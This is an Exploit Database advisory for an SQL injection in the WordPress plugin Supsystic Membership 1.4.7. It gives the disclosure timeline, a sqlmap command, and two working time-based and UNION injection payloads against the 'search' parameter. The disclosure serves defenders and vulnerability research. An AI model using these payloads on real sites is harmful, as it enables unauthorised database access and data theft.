WordPress Plugin Supsystic Membership 1.4.7 – ‘sidx’ SQL injection

• Exploit Database
• 35 阅读

• 作者： Erik David Martin
  日期： 2021-02-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49540/

• # Exploit Title: WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection
  # Date: 09/08/2020
  # Exploit Author: Erik David Martin
  # Vendor Homepage: https://supsystic.com/
  # Software Link: https://downloads.wordpress.org/plugin/membership-by-supsystic.1.4.7.zip
  # Version: 1.4.7
  # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
  
  
  
  # 25/07 2020: Vendor notified
  # 27/07 2020: Vendor requested detailed information
  # 27/07 2020: Information provided
  # 07/08 2020: Nudged vendor. No reply
  # 22/08 2020: Nudged vendor. No reply
  # 04/10 2020: Nudged vendor. No reply
  # 29/11 2020: WordPress Plugin Security team contacted
  # 22/12 2020: Vulnerability fixed
  
  
  # 1. Description
  
  The GET parameters "search" and "sidx" does not sanitize user input when searching for badges.
  
  
  # 2. Proof of Concept (PoC)
  
  Use ZAP/Burp to capture the web request when searching for data and save it to request.txt
  Referer: http://192.168.0.63/wp-admin/admin.php?page=supsystic-membership&module=badges&action=index
  
  sqlmap -r request.txt --dbms=mysql -p search
  
  Parameter: search (GET)
  	Type: time-based blind
  	Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' AND (SELECT 8958 FROM (SELECT(SLEEP(5)))oBIL) AND 'trjK'='trjK&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc
  
  	Type: UNION query
  	Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' UNION ALL SELECT NULL,CONCAT(0x71786a6b71,0x6569796370704c625352574e6e424874456a74457847635473525a466d47576f775a46446b4e7055,0x716a7a6a71),NULL,NULL-- -&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc